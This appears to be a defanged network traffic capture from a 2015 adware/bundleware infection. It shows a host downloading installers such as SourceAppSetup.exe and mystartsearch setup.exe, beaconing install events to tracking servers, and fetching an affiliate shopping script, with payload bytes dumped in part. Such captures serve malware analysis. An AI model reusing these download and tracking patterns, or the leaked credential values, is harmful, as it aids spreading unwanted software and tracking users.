here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11
-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=125045-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 75027
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 125045-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: SLtEq-pOmG_DTplk2ZGXGWC_KmzSO5fSOSvGVK_a-VbVIfgTNFNNqA==
.s..G....e......H.,.\6.,..u.{.(.G...b. .|'W..Sn..d...04fzHC.6..>...
 S...I..&.............}O'Y..2...e....#I".T(x.!....f.:.9.).. ....!^.!..
v....!.. s.......|h..&....i......d....Z....;.6=. ...].Y......Ba.q..f..
....g....S^S..Q.#.|.. .Wb.......nu.z..X._u...t........[...M..$U..5..-.
.yc1g.\..:...>..f.5n.aY6.....$0.tX.T8..e.tc..qoKh)]...Nw...r9$-.MdJ
Bc~...N.....r.v..c..1...m.S%.S.)\.0q....S8(..6..*u1.)Ji`x......F|..,G;
..sdb.2....dz....jJ..0....$....&....0.0.`B..~...X.:.I.....;!uu|S. 5..s
6..'..3.....%.....#...{\..`..}..Z .SRa.d......6..R....[........k.]..3w
P..1......xA....2.V.N.>..c..m7.?...r*`J.6....*[%...;....G$y>..].
....Y.3L.=fx6.5<..f.i3'Q..A3F......_U......Vu2...9?6....p"W&.Fj..v.
7....D ......0..y...TG4L'....\H..B..a:.\.....7.U..9....QW....4..r....p
...a%....|.Z.....N...oT.\4...E..5.G..B..X.../......z..j9Z.1../..!.}.D.
.rg.$..,6.Tp.|..V...W.L.....n.(.....FK.,p}[email protected]=j.:....2..>
.h>..k.2....n.^6....R....#....._X4=u.{.3$=..'o...S....~"O...?....5.
8...q.L.i......I.4!.{r$P....p._qL.y-.z..*...C..|.k........i....?..}A..
Gj..h......k?....p...U...c.4m..I.)....@.&%.-. .Y...............!.X/a..
c..GfP...b..5F,^..9....`"e...u.... :wF...../$..rH.Dk.K.Be..0.C..-^...y
.S{.S.[.....a.|....m<,.KE........l[.........=.].g K...R.1...{......
..... .>RK....Qs#.B..:S...O&.O...i}...8_...\.I.M.....Gs\_.o*.s....'
.T,.>.x......V......G...... *A.#...~.U..)...o..-.OB.hl.K......5....
.!=9.%w~....I...Y.."....?N...]..i.zn.r.veB....p....tx...\..w.....g.[..
p.C8...4........2.g......%..lb.....G..PMi..b...B.*...(Q^.*.BjbLn..
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:37 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.39 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:37 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.39 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:43 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.55 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:43 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.55 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.1.hperr.opera HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:49 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423886297&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 100546
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:58:16 GMT
Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=150054-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 50018
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 150054-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ilXASNG3nUNNhdXYc8CZq5qy4EEsaaV2pTvaFgpxRaYRh5vyhnkR8w==
..?.=....x.{V{W.`.......m.%eM...eym...O#...w....:...v....Y....|.v.....
O...H..S...[b.....V......u...bw(0n-...y9.@%....wFo......c)L....h...\..
..3~...O...l. ..*.........y..;..L.'=N[G.h......^..Z.&.Z.Y,..$G..&../.H
o..t.Jr....O...u..\9..-.........a.xH.:[email protected][.........po$$....7.....
|.......-(H...`......V&.K?.z.....R..E.T;.X..Mp=..z.S.>uU..|O.q.s:..
.u. z..4f....:........D.5t..]..L...S..[.t{.(./=x..!9}[email protected].
[email protected].. ....A.b....B...P.z.N.5&-...#v...A........n..j.R..}`..]..xBc.
.{...#o.Z(h.a.Y...e.x.f-........................I..|...4..r4w.^.F,....
.....#.J`.8..U......5..c[:....N...].~...y*..p.lA.hNM...&.(.x..t.......
[email protected].&.&....g.. vBJ...y..2G0.Uw(..".?G7m.R....t*.@ ..... .
,.zd.....J.U..$`b....y{.7..E... .MZ....GZ4...Qp.}..X.,:...[`w......k%.
6.]^.L..`D...M... ..'....A....\...........e.~.....*...sm......(.......
..:j..nB.3 `-.J7.F...4..<....xm5..$......T..Hn.*$...X`Q..T..f.....%
.*lV%M.o....g......RY...[|.D...v..Rm<9V..{....>_l..T..h......K.3
........T..k.'}..cq,y.}..1.K..U.c5...I}.n9.s...0.5.2?...P{.1......'.N-
......L...........O9.5YX..f.....{4..s..D_^...4..8...d!.4.4..l..N.eK...
.-.V"."...F........9/....f..(......cj.3.}..Q...=GY[..x.....?......$..1
....D....j`H:..TT.7.$P|g....JH...G..\..S..T......B.q...... .....n..J^@
.=j.....C..W..}K%..a...i~.~.......g.a|.~... l.K........p.Do5..uA .9...
..._.5.........t.R..8N.Q2..]L...W..c. ...T..:.B.?1.. 6..y.i<..n0...
..EM.]......S"{K.X.........B.,.$.6.........0.. .-.,.^#......(.~....]iW
%.s[.M(....~...T'.......e....I......:F.5.`..l...U....7v&......:R..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=218688-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 218688-583167/583168
Content-Length: 364480
Connection: keep-alive
...q>TN............p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...
N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.
. .&.;....S..P.Iw.B....0..[.....3..T.O......#.{.......5.....h....l.>
;7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...
Dn.#........k.D....Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..
]..R ..H#..A.p..p...~....)...N~./[email protected](.....*.2....>...=.m....C..
...jmpG.......l... ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W...
.. /...W?.7o..3]A.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...
N..-...V xK...L.Z.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.X
k....0....f..{..g....2....O....40 ......?.".........-....5*a.#...U~..I
..MH`.....M.....G..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~
..&..11..^[email protected]...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt
.-....[@......lBI.Q...........7....TX^.....0.5.s.'..C.......9...P.....
[.f...O.G....b.D...l......`.........c.."<...'.....X....,........q..
..........).../.P.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.h
x,X..z.K{..zY....UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....
M.s;..Q..wY%..<.........39s.KWI5..-..=L..M.MW .Wq.*..5...C......f4C
[email protected].<...5.K...Hi..H.d ..k...S.........<.....\..3..q!...8c..
....o.x...v....W......&....q.w.>..<.Dz..\.....>...M......B.z.
@.CX..g[.... i...o...g..}...eg.._...N.....n>..V3...H|..r....k...BvH
..g..\[email protected]..'m...e........:.".5...wU.|.....bJ"/[email protected].*..
.uH.x&o.....>....E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.
<<< skipped >>>


GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 2015 04:01:05
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..
0..



GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Wed, 28 Jan 2015 06:05:55 GMT
Accept-Ranges: bytes
ETag: "75565c7ac03ad01:0"
Server: Microsoft-IIS/8.0
VTag: 279610143200000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 554
Cache-Control: max-age=900
Date: Sat, 14 Feb 2015 04:02:02 GMT
Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150127173215Z..150428055215Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Y0... .....7......150427174215Z0.
..*.H......................YIw.. ..(..y..O.G].B.."?.@...[1.}.X...]...e
.J....pP.I....!6...%.D.k...>c.|R.?.i..yt.z..B.........b....n..m5...
0....2..I!)v....z....y.#pXz.DO.....mF...e.'e...@.%...6./.bPZ...=....bp
[email protected]..@.. ...M....z....Q...{u. .W..HTT
P/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Wed, 
28 Jan 2015 06:05:55 GMT..Accept-Ranges: bytes..ETag: "75565c7ac03ad01
:0"..Server: Microsoft-IIS/8.0..VTag: 279610143200000000..P3P: CP="ALL
 IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT
 COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Leng
th: 554..Cache-Control: max-age=900..Date: Sat, 14 Feb 2015 04:02:02 G
MT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1
.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation
1#0!..U....Microsoft Code Signing PCA..150127173215Z..150428055215Z.a0
_0...U.#..0..........X..7.3...L...0... .....7.........0...U......Y0...
 .....7......150427174215Z0...*.H......................YIw.. ..(..y..O
.G].B.."?.@...[1.}.X...]...e.J....pP.I....!6...%.D.k...>c.|R.?.i..y
t.z..B.........b....n..m5...0....2..I!)v....z....y.#pXz.DO.....mF...e.
'e...@.%...6./[email protected]..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=40204-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 281428
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 40204-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fQsNUuEblk-tqkwYD7zr9bZkUROpS5gbNM3ZE9utisPKMa_Qsuq6AA==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t..........E..C.....P.
.j....E...........C.<qC..F .E.....~..C.j....E..F .........C.PqC.j..
k....M..E..U..N .~... ....E..S.P.b....E..M..N .M..~... ....E..S..C....
.Q.F4........_^[..]..U..E..V .~..C.j.............C.pqC..E..M..F .E..~.
.. ....E..S..K.j..F4./......_^[..]..}..u..V..C(.K$RP............U..E..
V .~..C..E... ....E.P......N..S(.C$QR...M..E..U........C..qC..N .~... 
..S..U..K...j..V4........_^[..]..}..u..F..K(.S$PQ............E..M..F .
E..~... ..K..M..S....E.Q.F4.V......_^[..]........M..E.Q.F4.7....N4....
M.9N0t1.U..M..V .~..K..M... ....M..S..N4P........_^[..]........U..E..V
 .~..C.j........@...@...@...@...@...@...@...@[email protected].@./[email protected].@...@...@.
.........t....u..F..O(.W$PQ......>.u..F..O(.W$PQ......F(3..F4.F0.F8
...N..N ;.t.QQQ...F<....G0.F(.O(.W$PQ...F$.O(.W$PQ...G(.O$VP...
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 249863
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 35695-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: g7WgLlrLGQGSHme5y2iCj1KFZz6zKFlM0D0lE-ckTKkvF-I-OIuxIg==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=291584-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 291584-583167/583168
Content-Length: 291584
Connection: keep-alive
...v5...\U..G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.
....WE.3h....).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=..
..fM.F.....z...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9..
...U.....?.'......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<
.D..v.).i<:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<3
6..c}t..;....j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....
}.EeL..R....5"...(......../.....W..~..].@.. [email protected]%
.Y...r]a.b.......)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..
k...r.....IaPJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N
..'.4.......'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e..
.......D....Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q...
......#....@$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|
..D......@[email protected]....\<1.|.*...m&g
t;....o#.@..&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1....
.....x..n.O|.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].
.e.d.,...g.=}4n......aH...a.....`..v.......'@...<R.L......."J(..##.
.nV'..f../V...w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F..
.........M.....m.G.........s..X...|.......;......2..B..AAu4..Wu..B...l
f..........BUw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..
C..=...a..z.....G..?..i-.2.....hD..?....^?..B........~.....>]......
..G0...F....'][email protected].......)..W.r.=.ò....l.r
.z..........7..e. \$D.......t.......[.Z..N2.......%[email protected]...<.
<<< skipped >>>


GET /affiliate/client?dist=141&sub=iF2EwJSsmtycl&name=ShopperPro HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: api.jollywallet.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/javascript
Date: Sat, 14 Feb 2015 03:59:20 GMT
Expires: Wed, 18 Feb 2015 03:59:20 GMT
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"
Server: nginx/1.4.7
X-Powered-By: PHP/5.4.30
Content-Length: 10923
Connection: keep-alive
...........}[email protected].....|. TR..
..9g..*H"#3.....$.^.].-..n.x.Ps5..M......T.k...`_Dq.O.......%_e.......
.."-.v!<....V..m.O."J...e...z..=F.... ..5...C.U.....Z...,......0..C
(^.......?v:.na.8L..f~...P.D...>....C....[*.}8.j.....p........0....
.`..:.....6..<..^.n...........g.......p=_....n.9..J...Z..Bs;x.C..~E
.%wv..d..G.....;;.../....?=I.....I.....Tz....|.ZE.%.P(.e.L*c.h...h.$.D
&..z......y..LA4.*..d.6...."M.....9...;...x..'5.S..w..(v.njt.... }O5.S
.&.U..L$*.c.%.'.www=....pA........cC..yc ....sR.%jm/..Q.....Y.........
..(...np.....!.EL.....F.t.E....m.x...R..[.n..O......*....?a.?9>^RY.
?i.F..~.7X.7D.W>^...O..s,..x..?;,.`...~..Y....5...$..}.....;*...].o
q..Q.J.lMet]..e..I;"......-.8#.m.$.%Al...~.$..v...OX.t...{B.P...5D...?
..[F..........-.W.E"....0.;X..:...$............Fsv(]4s...I=..pp..5....
..........fM.Zh|N.~.[..}...D......? .._...m..R...E.....f7C2....Q..=@..
..M}.#.?.1.{...oF.,3.O......6.}.t%.-.=.d.....e...h<.....>...XI|.
W..k..k...9..:..]W..../...`....X...T.jC..^j.....w.B....B#.5p7X.7......
...h.....Q.}..c;c.....1.`.....C5...cCQ..V]^.....0.4A....co...... ;..A.
,.... .}.. ....X.....u.Nv......p....s....%.. ........8.C..........CyKv
a ............E.:X..A....D..q.k..e@kL?).kBOH....~..^.b9.`.....m.`.....
yo.&..J.4..%.....S-....~5...8.MA.../.&W 5...}3..V...u:K`.O.t.k..".....
.0..f.....c....W......o6..}..'D.........B......]..QE...{a9UKB.|.c.cO..
h:.g`[email protected];..p..q....0.".....4.h=Q... T........6..w../.......
.V..c.o"...\t5...ML.r<..........*RH..bC.{.u..l4...X.W.0.\.Te.U.
<<< skipped >>>


GET /software_files/7_zip/7zip_32.png HTTP/1.1
Accept: */*
